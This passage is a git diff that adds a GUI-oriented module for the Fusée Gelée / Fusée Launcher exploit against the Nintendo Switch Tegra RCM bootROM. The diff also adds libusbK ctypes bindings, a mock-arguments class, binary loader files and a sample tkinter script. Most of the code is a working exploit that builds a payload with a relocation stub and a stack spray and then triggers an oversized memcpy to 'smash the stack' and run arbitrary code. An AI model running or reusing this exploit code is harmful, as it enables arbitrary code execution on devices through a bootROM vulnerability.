1000 ms, timeout offset is 0 (since it's the first member), and it's an unsigned int + timeout_p = ctypes.cast(raw_request, ctypes.POINTER(ctypes.c_uint)) + timeout_p.contents = ctypes.c_ulong(1000) # milliseconds + + status_p = ctypes.cast(ctypes.byref(raw_request, 4), ctypes.POINTER(self.libk.status_t)) + status_p.contents.index = self.GET_STATUS + status_p.contents.recipient = self.TO_ENDPOINT + + buffer = ctypes.create_string_buffer(length) + + code = self.win_ctrl_code(self.WINDOWS_FILE_DEVICE_UNKNOWN, self.LIBUSBK_FUNCTION_CODE_GET_STATUS, self.WINDOWS_METHOD_BUFFERED, self.WINDOWS_FILE_ANY_ACCESS) + ret = self.ioctl(master_handle, ctypes.c_ulong(code), raw_request, ctypes.c_size_t(24), buffer, ctypes.c_size_t(length)) + + if ret == False: + raise ctypes.WinError() + + +class RCMHax: + + # Default to the Nintendo Switch RCM VID and PID. + DEFAULT_VID = 0x0955 + DEFAULT_PID = 0x7321 + + # Exploit specifics + COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000] # The addresses of the DMA buffers we can trigger a copy _from_. + STACK_END = 0x40010000 # The address just after the end of the device's stack. + + def __init__(self, wait_for_device=False, os_override=None, vid=None, pid=None, override_checks=False): + """ Set up our RCM hack connection.""" + + # The first write into the bootROM touches the lowbuffer. + self.current_buffer = 0 + + # Keep track of the total amount written. + self.total_written = 0 + + # Create a vulnerability backend for the given device. + try: + self.backend = HaxBackend.create_appropriate_backend(system_override=os_override, skip_checks=override_checks) + except IOError: + print("It doesn't look like we support your OS, currently. Sorry about that!\n") + sys.exit(-1) + + # Grab a connection to the USB device itself. + self.dev = self._find_device(vid, pid) + + # If we don't have a device... + if self.dev is None: + + # ... and we're allowed to wait for one, wait indefinitely for one to appear... + if wait_for_device: + print("Waiting for a TegraRCM device to come online...") + while self.dev is None: + self.dev = self._find_device(vid, pid) + + # ... or bail out. + else: + raise IOError("No TegraRCM device found?") + + # Print any use-related warnings. + self.backend.print_warnings() + + # Notify the user of which backend we're using. + print("Identified a {} system; setting up the appropriate backend.".format(self.backend.BACKEND_NAME)) + + + def _find_device(self, vid=None, pid=None): + """ Attempts to get a connection to the RCM device with the given VID and PID. """ + + # Apply our default VID and PID if neither are provided... + vid = vid if vid else self.DEFAULT_VID + pid = pid if pid else self.DEFAULT_PID + + # ... and use them to find a USB device. + return self.backend.find_device(vid, pid) + + def read(self, length): + """ Reads data from the RCM protocol endpoint. """ + return self.backend.read(length) + + + def write(self, data): + """ Writes data to the main RCM protocol endpoint. """ + + length = len(data) + packet_size = 0x1000 + + while length: + data_to_transmit = min(length, packet_size) + length -= data_to_transmit + + chunk = data[:data_to_transmit] + data = data[data_to_transmit:] + self.write_single_buffer(chunk) + + + def write_single_buffer(self, data): + """ + Writes a single RCM buffer, which should be 0x1000 long. + The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512). + If it's not, send a ZLP. + """ + self._toggle_buffer() + return self.backend.write_single_buffer(data) + + + def _toggle_buffer(self): + """ + Toggles the active target buffer, paralleling the operation happening in + RCM on the X1 device. + """ + self.current_buffer = 1 - self.current_buffer + + + def get_current_buffer_address(self): + """ Returns the base address for the current copy. """ + return self.COPY_BUFFER_ADDRESSES[self.current_buffer] + + + def read_device_id(self): + """ Reads the Device ID via RCM. Only valid at the start of the communication. """ + return self.read(16) + + + def switch_to_highbuf(self): + """ Switches to the higher RCM buffer, reducing the amount that needs to be copied. """ + + if self.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]: + self.write(b'\0' * 0x1000) + + + def trigger_controlled_memcpy(self, length=None): + """ Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """ + + # Determine how much we'd need to transmit to smash the full stack. + if length is None: + length = self.STACK_END - self.get_current_buffer_address() + + return self.backend.trigger_vulnerability(length) + + +def parse_usb_id(id): + """ Quick function to parse VID/PID arguments. """ + return int(id, 16) + + +# Arguments not needed for this GUI App +# A mock of the arguments is provided +# Read our arguments. +# parser = argparse.ArgumentParser(description='launcher for the fusee gelee exploit (by @ktemkin)') +# parser.add_argument('payload', metavar='payload', type=str, help='ARM payload to be launched; should be linked at 0x40010000') +# parser.add_argument('-w', dest='wait', action='store_true', help='wait for an RCM connection if one isn\'t present') +# parser.add_argument('-V', metavar='vendor_id', dest='vid', type=parse_usb_id, default=None, help='overrides the TegraRCM vendor ID') +# parser.add_argument('-P', metavar='product_id', dest='pid', type=parse_usb_id, default=None, help='overrides the TegraRCM product ID') +# parser.add_argument('--override-os', metavar='platform', dest='platform', type=str, default=None, help='overrides the detected OS; for advanced users only') +# parser.add_argument('--relocator', metavar='binary', dest='relocator', type=str, default="%s/intermezzo.bin" % os.path.dirname(os.path.abspath(__file__)), help='provides the path to the intermezzo relocation stub') +# parser.add_argument('--override-checks', dest='skip_checks', action='store_true', help="don't check for a supported controller; useful if you've patched your EHCI driver") +# parser.add_argument('--allow-failed-id', dest='permissive_id', action='store_true', help="continue even if reading the device's ID fails; useful for development but not for end users") +# arguments = parser.parse_args() + + +def do_hax(arguments): + # Make a function out of the original script + # The objective is to be able to use fusee-launcher as module + + # Expand out the payload path to handle any user-refrences. + payload_path = os.path.expanduser(arguments.payload) + if not os.path.isfile(payload_path): + print("Invalid payload path specified!") + sys.exit(-1) + + # Find our intermezzo relocator... + intermezzo_path = os.path.expanduser(arguments.relocator) + if not os.path.isfile(intermezzo_path): + print("Could not find the intermezzo interposer. Did you build it?") + sys.exit(-1) + + # Get a connection to our device. + try: + switch = RCMHax(wait_for_device=arguments.wait, vid=arguments.vid, + pid=arguments.pid, os_override=arguments.platform, override_checks=arguments.skip_checks) + except IOError as e: + print(e) + sys.exit(-1) + + # Print the device's ID. Note that reading the device's ID is necessary to get it into + try: + device_id = switch.read_device_id() + print("Found a Tegra with Device ID: {}".format(device_id)) + except OSError as e: + # Raise the exception only if we're not being permissive about ID reads. + if not arguments.permissive_id: + raise e + + + # Prefix the image with an RCM command, so it winds up loaded into memory + # at the right location (0x40010000). + + # Use the maximum length accepted by RCM, so we can transmit as much payload as + # we want; we'll take over before we get to the end. + length = 0x30298 + payload = length.to_bytes(4, byteorder='little') + + # pad out to 680 so the payload starts at the right address in IRAM + payload += b'\0' * (680 - len(payload)) + + # Populate from [RCM_PAYLOAD_ADDR, INTERMEZZO_LOCATION) with the payload address. + # We'll use this data to smash the stack when we execute the vulnerable memcpy. + print("\nSetting ourselves up to smash the stack...") + + # Include the Intermezzo binary in the command stream. This is our first-stage + # payload, and it's responsible for relocating the final payload to 0x40010000. + intermezzo_size = 0 + with open(intermezzo_path, "rb") as f: + intermezzo = f.read() + intermezzo_size = len(intermezzo) + payload += intermezzo + + + # Pad the payload till the start of the user payload. + padding_size = PAYLOAD_START_ADDR - (RCM_PAYLOAD_ADDR + intermezzo_size) + payload += (b'\0' * padding_size) + + target_payload = b'' + + # Read the user payload into memory. + with open(payload_path, "rb") as f: + target_payload = f.read() + + # Fit a collection of the payload before the stack spray... + padding_size = STACK_SPRAY_START - PAYLOAD_START_ADDR + payload += target_payload[:padding_size] + + # ... insert the stack spray... + repeat_count = int((STACK_SPRAY_END - STACK_SPRAY_START) / 4) + payload += (RCM_PAYLOAD_ADDR.to_bytes(4, byteorder='little') * repeat_count) + + # ... and follow the stack spray with the remainder of the payload. + payload += target_payload[padding_size:] + + # Pad the payload to fill a USB request exactly, so we don't send a short + # packet and break out of the RCM loop. + payload_length = len(payload) + padding_size = 0x1000 - (payload_length % 0x1000) + payload += (b'\0' * padding_size) + + # Check to see if our payload packet will fit inside the RCM high buffer. + # If it won't, error out. + if len(payload) > length: + size_over = len(payload) - length + print("ERROR: Payload is too large to be submitted via RCM. ({} bytes larger than max).".format(size_over)) + sys.exit(errno.EFBIG) + + # Send the constructed payload, which contains the command, the stack smashing + # values, the Intermezzo relocation stub, and the final payload. + print("Uploading payload...") + switch.write(payload) + + # The RCM backend alternates between two different DMA buffers. Ensure we're + # about to DMA into the higher one, so we have less to copy during our attack. + switch.switch_to_highbuf() + + # Smash the device's stack, triggering the vulnerability. + print("Smashing the stack...") + try: + switch.trigger_controlled_memcpy() + except ValueError as e: + print(str(e)) + except IOError: + print("The USB device stopped responding-- sure smells like we've smashed its stack. :)") + print("Launch complete!") + diff --git a/icon.ico b/icon.ico new file mode 100644 index 0000000..e11c4ef Binary files /dev/null and b/icon.ico differ diff --git a/icon.png b/icon.png new file mode 100644 index 0000000..e99d876 Binary files /dev/null and b/icon.png differ diff --git a/intermezzo.bin b/intermezzo.bin new file mode 100644 index 0000000..3f7d9ff Binary files /dev/null and b/intermezzo.bin differ diff --git a/libusbK.py b/libusbK.py new file mode 100644 index 0000000..b75f276 --- /dev/null +++ b/libusbK.py @@ -0,0 +1,190 @@ +# This file is part of Fusée Launcher +# Copyright (C) 2018 Mikaela Szekely +# Copyright (C) 2018 Kate Temkin +# Fusée Launcher is licensed under the terms of the GNU GPLv2 + +from ctypes import * + +KLST_HANDLE = c_void_p +KUSB_HANDLE = c_void_p +INVALID_HANDLE_VALUE = -1 + +class DUMMYSTRUCTNAME(Structure): + _fields_ = \ + [ + ("Offset", c_ulong), + ("OfsettHigh", c_ulong) + ] + +class DUMMYUNIONNAME(Union): + _fields_ = \ + [ + ("DUMMYSTRUCTNAME", DUMMYSTRUCTNAME), + ("Pointer", c_void_p) + ] + +class OVERLAPPED(Structure): + _fields_ = \ + [ + ("Internal", POINTER(c_ulong)), + ("InternalHigh", POINTER(c_ulong)), + ("DUMMYUNIONNAME", DUMMYUNIONNAME), + ("hEvent", c_void_p) + ] + +class KLST_DEV_COMMON_INFO(Structure): + _fields_ = \ + [ + ("Vid", c_int), + ("Pid", c_int), + ("MI", c_int), + ("InstanceID", c_char * 256) + ] + +class KLST_DEV_INFO(Structure): + _fields_ = \ +[ + ("Common", KLST_DEV_COMMON_INFO), + ("DriverID", c_int), + ("DeviceInterfaceGUID", c_char * 256), + ("DeviceID", c_char * 256), + ("ClassGUID", c_char * 256), + ("Mfg", c_char * 256), + ("DeviceDesc", c_char * 256), + ("Service", c_char * 256), + ("SymbolicLink", c_char * 256), + ("DevicePath", c_char * 256), + ("LUsb0FilterIndex", c_int), + ("Connected", c_bool), + ("KLST_SYNC_FLAG", c_int), + ("BusNumber", c_int), + ("DeviceAddress", c_int), + ("SerialNumber", c_char * 256) +] + +class KUSB_DRIVER_API_INFO(Structure): + _fields_ = \ + [ + ("DriverID", c_int), + ("FunctionCount", c_int) + ] + +class KUSB_DRIVER_API(Structure): + _fields_ = \ + [ + ("Info", KUSB_DRIVER_API_INFO), + ("Init", WINFUNCTYPE(c_bool, KUSB_HANDLE, POINTER(KLST_DEV_INFO))), + ("Free", c_void_p), # Unused, but pointer sized + ("ClaimInterface", c_void_p), # Unused, but pointer sized + ("ReleaseInterface", c_void_p), # Unused, but pointer sized + ("SetAltInterface", c_void_p), # Unused, but pointer sized + ("GetAltInterface", c_void_p), # Unused, but pointer sized + ("GetDescriptor", c_void_p), # Unused, but pointer sized + ("ControlTransfer", c_void_p), # Unused, but pointer sized + ("SetPowerPolicy", c_void_p), # Unused, but pointer sized + ("GetPowerPolicy", c_void_p), # Unused, but pointer sized + ("SetConfiguration", c_void_p), # Unused, but pointer sized + ("GetConfiguration", c_void_p), # Unused, but pointer sized + ("ResetDevice", c_void_p), # Unused, but pointer sized + ("Initialize", c_void_p), # Unused, but pointer sized + ("SelectInterface", c_void_p), # Unused, but pointer sized + ("GetAssociatedInterface", c_void_p), # Unused, but pointer sized + ("Clone", c_void_p), # Unused, but pointer sized + ("QueryInterfaceSettings", c_void_p), # Unused, but pointer sized + ("QueryDeviceInformation", c_void_p), # Unused, but pointer sized + ("SetCurrentAlternateSetting", c_void_p), # Unused, but pointer sized + ("GetCurrentAlternateSetting", c_void_p), # Unused, but pointer sized + ("QueryPipe", c_void_p), # Unused, but pointer sized + ("SetPipePolicy", c_void_p), # Unused, but pointer sized + ("GetPipePolicy", c_void_p), # Unused, but pointer sized + + # BOOL KUSB_API ReadPipe(_in_ KUSB_HANDLE InterfaceHandle, _in_ UCHAR PipeID, _out_ PUCHAR Buffer, _in_ UINT BufferLength, _outopt_ PUINT LengthTransferred, _intopt_ LPOVERLAPPED Overlapped) + ("ReadPipe", WINFUNCTYPE(c_bool, KUSB_HANDLE, c_ubyte, c_void_p, c_uint, POINTER(c_uint), POINTER(OVERLAPPED))), + + # BOOL KUSB_API WritePipe(_in_ KUSB_HANDLE InterfaceHandle, _in_ UCHAR PipeID, _in_ PUCHAR Buffer, _in_ UINT BufferLength, _outopt_ PUINT LengthTransferred, _inopt_ LPOVERLAPPED Overlapped) + ("WritePipe", WINFUNCTYPE(c_bool, KUSB_HANDLE, c_ubyte, POINTER(c_ubyte), c_uint, POINTER(c_uint), POINTER(OVERLAPPED))), + + ("ResetPipe", c_void_p), # Unused, but pointer sized + ("AbortPipe", c_void_p), # Unused, but pointer sized + ("FlushPipe", c_void_p), # Unused, but pointer sized + ("IsoReadPipe", c_void_p), # Unused, but pointer sized + ("IsoWritePipe", c_void_p), # Unused, but pointer sized + ("GetCurrentFrameNumber", c_void_p), # Unused, but pointer sized + ("GetOverlappedResult", c_void_p), # Unused, but pointer sized + ("GetProperty", c_void_p), # Unused, but pointer sized + + # 34: Amount of functions in this struct + ("z_F_i_x_e_d", c_ubyte * (512 - (sizeof(KUSB_DRIVER_API_INFO) - sizeof(POINTER(c_uint)) * 34))) + ] + +class Evt_t(Structure): + _fields_ = \ + [ + ("Cleanup", c_void_p) + ] + +class Count_t(Structure): + _fields_ = \ + [ + ("Use", c_ulong), + ("Ref", c_ulong) + ] + +class User_t(Structure): + _fields_ = \ + [ + ("Valid", c_int), # BOOL + ("CleanupCB", c_void_p), # Unused, but pointer sized + ("Context", c_void_p) # Unused, but pointer sized + ] + +class KOBJ_BASE(Structure): + _fields_ = \ + [ + ("Disposing", c_ulong), + ("Evt", Evt_t), + ("Count", Count_t), + ("User", User_t) + ] + +class KDEV_HANDLE_INTERNAL(Structure): + _fields_ = \ + [ + ("Base", KOBJ_BASE), + ("MasterDeviceHandle", c_void_p), + ("MasterInterfaceHandle", c_void_p), + ("DevicePath", c_char_p), + ("ConfigDescriptor", c_void_p), # Unused, pointer sized + ("SharedInterfaces", c_void_p), + ("DriverAPI", POINTER(KUSB_DRIVER_API)), + ("UsbStack", c_void_p), # Unused, pointer sized + ("Backend", c_void_p), # Unused, pointer sized + ] + +class Move_t(Structure): + _fields_ = \ + [ + ("End", c_int), + ("InterfaceEL", c_void_p), # Unused, pointer sized + ("AltInterfaceEL", c_void_p), # Unused, pointer sized + ("PipeEL", c_void_p), # Unused, pointer sized + ] + +class KUSB_HANDLE_INTERNAL(Structure): + """ What KUSB_HANDLE actually points to """ + _fields_ = \ + [ + ("Base", KOBJ_BASE), + ("Device", POINTER(KDEV_HANDLE_INTERNAL)), + ("Selected_SharedInterface_Index", c_long), + ("IsClone", c_int), # BOOL + ("Move", Move_t) + ] + +class status_t(Structure): + _fields_ = \ + [ + ("recipient", c_uint), + ("index", c_uint), + ("status", c_uint) + ] \ No newline at end of file diff --git a/memloader.bin b/memloader.bin new file mode 100644 index 0000000..ecf8806 Binary files /dev/null and b/memloader.bin differ diff --git a/mock_arguments.py b/mock_arguments.py new file mode 100644 index 0000000..26bd592 --- /dev/null +++ b/mock_arguments.py @@ -0,0 +1,12 @@ +class MockArguments(): + # Simple data class to fake command line arguments + + def __init__(self): + self.payload = "" + self.wait = True + self.vid = None + self.pid = None + self.platform = None + self.relocator = "" + self.skip_checks = True + self.permissive_id = True \ No newline at end of file diff --git a/test.py b/test.py new file mode 100644 index 0000000..aa6bfa0 --- /dev/null +++ b/test.py @@ -0,0 +1,22 @@ +from tkinter import Tk, Label, Button + +class MyFirstGUI: + def __init__(self, master): + self.master = master + master.title("A simple GUI") + + self.label = Label(master, text="This is our first GUI!") + self.label.pack() + + self.greet_button = Button(master, text="Greet", command=self.greet) + self.greet_button.pack() + + self.close_button = Button(master, text="Close", command=master.quit) + self.close_button.pack() + + def greet(self): + print("Greetings!") + +root = Tk() +my_gui = MyFirstGUI(root) +root.mainloop() \ No newline at end of file